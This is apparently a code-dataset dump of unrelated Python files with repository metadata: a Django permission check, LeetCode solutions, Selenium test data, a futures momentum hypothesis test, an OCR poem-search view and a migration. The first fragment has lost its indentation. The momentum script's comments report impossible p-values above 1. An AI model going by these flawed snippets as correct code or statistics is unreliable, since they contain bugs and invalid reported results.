# 判断页面权限开始》》》开始
# ----------------------------------------------------------
dnguser =dngadmin_common.dng_dnguser(dnguser_uid)
group = dngadmin_common.dng_usergroup(gid=dnguser.group_int) # 获取会员组名称
dngroute = models.dngroute.objects.filter(uid_int=dngroute_uid).first()#查询路径取回本页面菜单信息
dngadmin_common.dng_dngred(uid=dnguser_uid, title=dngroute.name_str, url=mulu_url, user=liulanqi, ip=ip) # 日记记录函数
if not dngroute.url_str in mulu_url: #判断URL统一
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您的访问与菜单映射不匹配</h1></center><div>""")
elif not '|'+str(dngroute_uid)+'|'in group.menu_text: #判断菜单权限
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您没有访问这个栏目的权限</h1></center><div>""")
elif not dnguser.integral_int >= dngroute.integral_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您积分"""+str(dnguser.integral_int)+""",访问需要达到"""+str(dngroute.integral_int)+"""积分!</h1></center><div>""")
elif not dnguser.money_int >= dngroute.money_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您余额"""+str(dnguser.money_int)+""",访问需要达到"""+str(dngroute.money_int)+"""余额!</h1></center><div>""")
elif not dnguser.totalmoney_int >= dngroute.totalmoney_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您累计充值""" + str(dnguser.totalmoney_int) + """,访问需要累计充值达到""" + str(dngroute.totalmoney_int) + """!</h1></center><div>""")
elif not dnguser.totalspend_int >= dngroute.totalspend_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您累计消费""" + str(dnguser.totalspend_int) + """,访问需要累计消费达到""" + str(dngroute.totalspend_int) + """!</h1></center><div>""")
elif not dnguser.spread_int >= dngroute.spread_int:
return HttpResponse("""<BR><BR><BR><BR><BR><center><h1>您推广""" + str(dnguser.spread_int) + """人,访问需要推广""" + str(dngroute.spread_int) + """人!</h1></center><div>""")
added =False #增
delete = False #删
update =False #改
see =False #查
if '|' + str(dngroute_uid) + '|' in group.added_text: # 判断增加权限
added =True
if '|' + str(dngroute_uid) + '|' in group.delete_text: # 判断删除权限
delete =True
if '|' + str(dngroute_uid) + '|' in group.update_text: # 判断修改权限
update =True
if '|' + str(dngroute_uid) + '|' in group.see_text: # 判断查看权限
see =True
else:
urlstr = parse.quote('您没有修改权限')
response = HttpResponseRedirect('/dngadmin/bulkdemo/?jinggao=' + urlstr)
return response
| [
"[email protected]"
] | |
09550ce26a2345b8a92024076a1fdb708ba60fb5 | 972c2c04faa52e2bcba5bf87f350851d5ab1082f | /medium/flatten_a_multilevel_doubly_linked_list.py | a4ac3e25510042d60eefec5d605536a093526693 | [] | no_license | billangli/LeetCode | 5418b901b4bdc4dee44709d677da363e2650a612 | 0b20c07ce334180695be64b26af8a6fe6390ffea | refs/heads/master | 2021-05-14T17:00:08.597201 | 2021-04-11T01:18:57 | 2021-04-11T01:18:57 | 116,036,765 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 781 | py | """
# Definition for a Node.
class Node:
def __init__(self, val, prev, next, child):
self.val = val
self.prev = prev
self.next = next
self.child = child
"""
class Solution:
def flatten(self, head: 'Node') -> 'Node':
prehead = Node(0, None, None, None)
curr = prehead
stack = [head]
while len(stack):
node = stack.pop()
if node is not None:
stack.append(node.next)
stack.append(node.child)
node.next = None
node.child = None
curr.next = node
node.prev = curr
curr = node
if prehead.next is not None:
prehead.next.prev = None
return prehead.next
| [
"[email protected]"
] | |
5af457fe62e3892b3b3f4020666637d9ae340fac | c65874c22c733f69822b82dd29a654bcc9fe366d | /cnode-test/test_data.py | cf2addb8b879915c4a92353fa9a764cd4b415071 | [
"MIT"
] | permissive | YANGYANTEST/python-study | 5e5654153439b9c7f3e4fb3d862d5a37568a321c | 376203126f465f91eade98eaefca4ea2c123730b | refs/heads/master | 2021-09-04T22:04:33.783081 | 2018-01-22T14:55:04 | 2018-01-22T14:55:04 | 112,285,424 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 541 | py |
import time
from selenium import webdriver
test_data=[
['xiaoming','123456','123456','[email protected]'],
['','123456','123456','[email protected]'],
['xiaoming','','123456','[email protected]'],
['xiaoming','123456','','[email protected]']
]
test1_data=['xiaoming','123456','123456','[email protected]']
#思路:循坏嵌套,先循环拿出每一行的数据,再拿出每行的单个数据
for x in range(len(test_data)):
print(x,"===>",test_data[x])
for y in range(len(test_data[x])):
print(x,":",y,"===>",test_data[x][y])
| [
"15221629532@163/com"
] | 15221629532@163/com |
96060cc5899cda9db1ad7e0fa17923d892794442 | 3a6e0a22a1c737fc62899899b2f62711109f2971 | /book2/TU_mom_hypothesisTest.py | b3655509e2f21f64f3f71cac638ebc15a892d009 | [
"Apache-2.0"
] | permissive | jingmouren/epchanbooks | 2ad7635caaf3f976611c9d4697a56dc24579cb09 | 6b3aa7f4b2656489149e557519997d14e962d75f | refs/heads/main | 2023-04-03T20:19:47.856575 | 2021-04-18T04:18:52 | 2021-04-18T04:18:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,148 | py | # Hypothesis Testing on a Futures Momentum Strategy
import numpy as np
import pandas as pd
# from scipy.stats import describe
from scipy.stats import pearson3
df = pd.read_csv('TU.csv')
df['Time'] = pd.to_datetime(df['Time']).dt.date # remove HH:MM:SS
df.set_index('Time', inplace=True)
lookback = 250
holddays = 25
longs = df['Close'] > df['Close'].shift()
shorts = df['Close'] < df['Close'].shift()
pos = np.zeros(df.shape[0])
for h in range(0, holddays):
long_lag = longs.shift(h)
long_lag[long_lag.isna()] = False
long_lag = long_lag.astype(bool)
short_lag = shorts.shift(h)
short_lag[short_lag.isna()] = False
short_lag = short_lag.astype(bool)
pos[long_lag] = pos[long_lag] + 1
pos[short_lag] = pos[short_lag] - 1
capital = np.nansum(np.array(pd.DataFrame(abs(pos)).shift()), axis=1)
pos[capital == 0,] = 0
capital[capital == 0] = 1
marketRet = df['Close'].pct_change()
ret = np.nansum(np.array(pd.DataFrame(pos).shift()) * np.array(marketRet), axis=1) / capital / holddays
sharpe = np.sqrt(len(ret)) * np.nanmean(ret) / np.nanstd(ret)
print("Gaussian Test statistic=%f" % sharpe)
# Gaussian Test statistic=2.769741
# Randomized market returns hypothesis test
# =============================================================================
# _,_,mean,var,skew,kurt=describe(marketRet, nan_policy='omit')
# =============================================================================
skew_, loc_, scale_ = pearson3.fit(marketRet[1:]) # First element is NaN
numSampleAvgretBetterOrEqualObserved = 0
for sample in range(10000):
marketRet_sim = pearson3.rvs(skew=skew_, loc=loc_, scale=scale_, size=marketRet.shape[0], random_state=sample)
cl_sim = np.cumproduct(1 + marketRet_sim) - 1
longs_sim = cl_sim > pd.Series(cl_sim).shift(lookback)
shorts_sim = cl_sim < pd.Series(cl_sim).shift(lookback)
pos_sim = np.zeros(cl_sim.shape[0])
for h in range(0, holddays):
long_sim_lag = longs_sim.shift(h)
long_sim_lag[long_sim_lag.isna()] = False
long_sim_lag = long_sim_lag.astype(bool)
short_sim_lag = shorts_sim.shift(h)
short_sim_lag[short_sim_lag.isna()] = False
short_sim_lag = short_sim_lag.astype(bool)
pos_sim[long_sim_lag] = pos_sim[long_sim_lag] + 1
pos_sim[short_sim_lag] = pos_sim[short_sim_lag] - 1
capital = np.nansum(np.array(pd.DataFrame(abs(pos_sim)).shift()), axis=1)
pos_sim[capital == 0,] = 0
capital[capital == 0] = 1
ret_sim = np.nansum(np.array(pd.DataFrame(pos_sim).shift()) * np.array(marketRet_sim),
axis=1) / capital / holddays
if (np.mean(ret_sim) >= np.mean(ret)):
numSampleAvgretBetterOrEqualObserved = numSampleAvgretBetterOrEqualObserved + 1
print("Randomized prices: p-value=%f" % (numSampleAvgretBetterOrEqualObserved / 10000))
# Randomized prices: p-value=23.617800
# Randomized entry trades hypothesis test
numSampleAvgretBetterOrEqualObserved = 0
for sample in range(10000):
P = np.random.permutation(len(longs))
longs_sim = longs[P]
shorts_sim = shorts[P]
pos_sim = np.zeros(cl_sim.shape[0])
for h in range(0, holddays):
long_sim_lag = longs_sim.shift(h)
long_sim_lag[long_sim_lag.isna()] = False
long_sim_lag = long_sim_lag.astype(bool)
short_sim_lag = shorts_sim.shift(h)
short_sim_lag[short_sim_lag.isna()] = False
short_sim_lag = short_sim_lag.astype(bool)
pos_sim[long_sim_lag] = pos_sim[long_sim_lag] + 1
pos_sim[short_sim_lag] = pos_sim[short_sim_lag] - 1
capital = np.nansum(np.array(pd.DataFrame(abs(pos_sim)).shift()), axis=1)
pos_sim[capital == 0,] = 0
capital[capital == 0] = 1
ret_sim = np.nansum(np.array(pd.DataFrame(pos_sim).shift()) * np.array(marketRet), axis=1) / capital / holddays
if (np.mean(ret_sim) >= np.mean(ret)):
numSampleAvgretBetterOrEqualObserved = numSampleAvgretBetterOrEqualObserved + 1
print("Randomized trades: p-value=%f" % (numSampleAvgretBetterOrEqualObserved / 10000))
# Randomized trades: p-value=1.365600
| [
"[email protected]"
] | |
40ba8ffe43795acb937bf0b35bbee97397d53d7d | a861e73dab48c21546d5c6f56427aa175292f2a2 | /web/Tracing_sys/myApp/views.py | db63d209395e09246491145dca97c1453da3815c | [] | no_license | MarsTuxz/ITR | 34376e2f49edec3ffc9b249754e55c7de650708a | 6fae4640ec6231c18b38704285c92d1b32ba394e | refs/heads/master | 2020-04-26T01:42:09.204875 | 2019-05-19T09:16:13 | 2019-05-19T09:16:13 | 173,211,867 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,634 | py | from collections import Counter
from django.shortcuts import render
from PIL import Image
import pytesseract
import scipy.misc as misc
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
# Create your views here.
from django.http import HttpResponse
def index(request):
return HttpResponse("poems")
def detail(request,num,num2):
return HttpResponse("detail-%s-%s"%(num,num2))
from .models import poems
def tracing_poems(request):
#获取诗词数据
poemsList = poems.objects.all()
#将数据返回给页面
return render(request,'myApp/poems.html',{"poems":poemsList})
def showsearch(request):
return render(request,'myApp/poems.html')
# text = pytesseract.image_to_string(Image.open(picture), lang='chi_sim').replace(" ", "")
# print("feedbackWord function end")
# print(text)
def select_title_like(words):
'''
查询对应的诗文的题目
:param words: 模糊查询的文字
:return:
'''
# select * from poems where poem_body like '%夜%'
titles = []
poems_list = poems.objects.filter(poem_body__contains=words)
for poem in poems_list:
titles.append(poem.title)
print('select_title_like:', titles)
return titles
def select_title_like_reg(words):
'''
查询对应的诗文的所有的内容
:param words: 模糊查询的文字
:return:
'''
# select * from poems where poem_body like '%夜%'
titles = []
poems_list = poems.objects.filter(poem_body__contains=words)
for poem in poems_list:
titles.append(poem.title)
print('select_title_like_reg:', titles)
return titles
def select_word_like(word):
'''
模糊查询的策略如下:
先将接受文字的前两个字,前一半字,后一半字,后两个字分别作为四组子查询
将所有的子查询的结果进行组合,获得出现次数的最多的诗名。
:param word:
:return:
'''
#将中文的逗号转为英文的逗号,并将逗号切下,只取前一句话
word = word.replace(",",",")
if word.count(','):
word = word.split(',')[0]
title = select_title_like(word)
if title:
if isinstance(title, (list,)):
return title[0]
return title
else:
#
length = len(word)
if length > 4:
b_half = word[:length//2]
b_two = word[:2]
a_half = word[length//2:]
a_two = word[-2:]
result1 = select_title_like(b_half)
result2 = select_title_like(b_two)
result3 = select_title_like(a_half)
result4 = select_title_like(a_two)
title_list = result1+result2+result3+result4
count_dict = get_count_by_counter(title_list)
# 获得值最大时对应的key值
title = max(count_dict, key=count_dict.get)
elif length >= 3:
b_two = word[:2]
a_two = word[-2:]
result1 = select_title_like(a_two)
result2 = select_title_like(b_two)
title_list = result1 + result2
count_dict = get_count_by_counter(title_list)
title = max(count_dict, key=count_dict.get)
else:
title_list = select_title_like_reg(word)
count_dict = get_count_by_counter(title_list)
title = max(count_dict, key=count_dict.get)
if isinstance(title, (list, )):
return title[0]
return title
def get_count_by_counter(l):
'''
统计列表中的各个元素出现的次数
:param l: 列表
:return:
'''
count = Counter(l) #类型: <class 'collections.Counter'>
count_dict = dict(count) #类型: <type 'dict'>
return count_dict
def searchpoems(request):
# au = request.POST.get('au')
text = request.POST.get('text')
find = request.POST.get('find')
print(text)
print(find)
if (find =="dy"):
poemsList = poems.objects.filter(dynasty__contains = text)[0:10]
if(find =="author"):
poemsList = poems.objects.filter(author__contains = text)[0:10]
return render(request,'myApp/poems2.html',{"poems":poemsList})
def searchpoems1(request,num):
number = poems.objects.get(pk=num)
print(number)
poemsList = poems.objects.filter(title__contains = number)
return render(request,'myApp/page_list.html',{"poems":poemsList})
def search(request):
print('ok*****')
picture = request.FILES.get('picture')
print(type(picture))
print(picture)
print(Image.open(picture))
class Image_rec(object):
def size_change(self, address):
img = misc.imread(address)
(w, h, n) = img.shape
w = int(w * 0.3)
h = int(h * 0.3)
img = misc.imresize(img, (w, h, 3), interp='bilinear')
misc.imsave(address, img)
print("size_change function end")
def feedbackWord(self, address):
text = pytesseract.image_to_string(Image.open(address), lang='chi_sim').replace(" ", "")
print("feedbackWord function end")
return text
print('******')
img = Image_rec()
print(type(picture))
text = img.feedbackWord(picture)
# 获得古诗的title
title = select_word_like(text)
print('main::', title)
poem = poems.objects.filter(title__contains=title)
print(poem)
return render(request, 'myApp/page_list.html', {"poems": poem}) | [
"[email protected]"
] | |
bd4ed80a388980e211ad2551e3365d99a7590a69 | 01ac02f87cf30b584f1c59879928cc847554f7b8 | /leetcode/011-container-with-most-water.py | aa00e392fa989821421c4722742f10db46a0c461 | [] | no_license | waithope/leetcode-jianzhioffer | aee0a670a3b1c0df2e5828b30fa3ee962837f50f | 06ba01e808f184c385e721003e357019d81b1ee7 | refs/heads/master | 2020-03-11T19:46:16.468055 | 2019-09-07T02:50:16 | 2019-09-07T02:50:16 | 130,217,391 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 973 | py | # Description
# Given n non-negative integers a1, a2, ..., an , where each represents a point
# at coordinate (i, ai). n vertical lines are drawn such that the two endpoints
# of line i is at (i, ai) and (i, 0). Find two lines,
# which together with x-axis forms a container,
# such that the container contains the most water.
# Note: You may not slant the container and n is at least 2.
# y ^
# |
# | a2
# | | a3 an
# | a1 | | a5 |
# | | | | a4 | |
# | | | | | | .. |
# --------------------------->
# 0 1 2 3 4 5 .. n x
# Input: [1,8,6,2,5,4,8,3,7]
# Output: 49
def maxArea(self, height):
"""
:type height: List[int]
:rtype: int
"""
maxarea = 0
l, r = 0, len(height) - 1
while l < r:
maxarea = max(maxarea, min(height[l], height[r]) * (r - l))
if height[l] < height[r]:
l += 1
else:
r -= 1
return maxarea
| [
"[email protected]"
] | |
513317ff9778c30a629c7e6d7f78607439b019c1 | 79509917662cdbe889a7aec43e1c710fe6145d78 | /hive/queen/migrations/0001_initial.py | 9ba1e8379a5c81be21646b524ca8742ab16ba289 | [] | no_license | ddaitest/PushCollector | 8aceb00b807520bb9bafb9e579a3368bf63c5c26 | 0ebcaf7f5bc78597939cbef2da364e8600810697 | refs/heads/master | 2021-01-19T12:38:52.093122 | 2017-11-30T04:06:14 | 2017-11-30T04:06:14 | 88,042,082 | 4 | 0 | null | 2017-04-12T11:51:59 | 2017-04-12T10:59:23 | null | UTF-8 | Python | false | false | 2,020 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-04-18 09:08
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Abc',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('question_text', models.CharField(max_length=200)),
],
),
migrations.CreateModel(
name='Message',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=200)),
('cotent', models.CharField(max_length=200)),
('created_on', models.DateTimeField(verbose_name='created')),
],
),
migrations.CreateModel(
name='MsgRecord',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('plaform', models.CharField(max_length=200)),
('token', models.CharField(max_length=200)),
('phone', models.CharField(max_length=200)),
('sent_on', models.DateTimeField(verbose_name='sent')),
('reach_on', models.DateTimeField(verbose_name='reach')),
('msg', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='queen.Message')),
],
),
migrations.CreateModel(
name='Token',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('token', models.CharField(max_length=200)),
('platform', models.CharField(max_length=200)),
],
),
]
| [
"[email protected]"
] |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.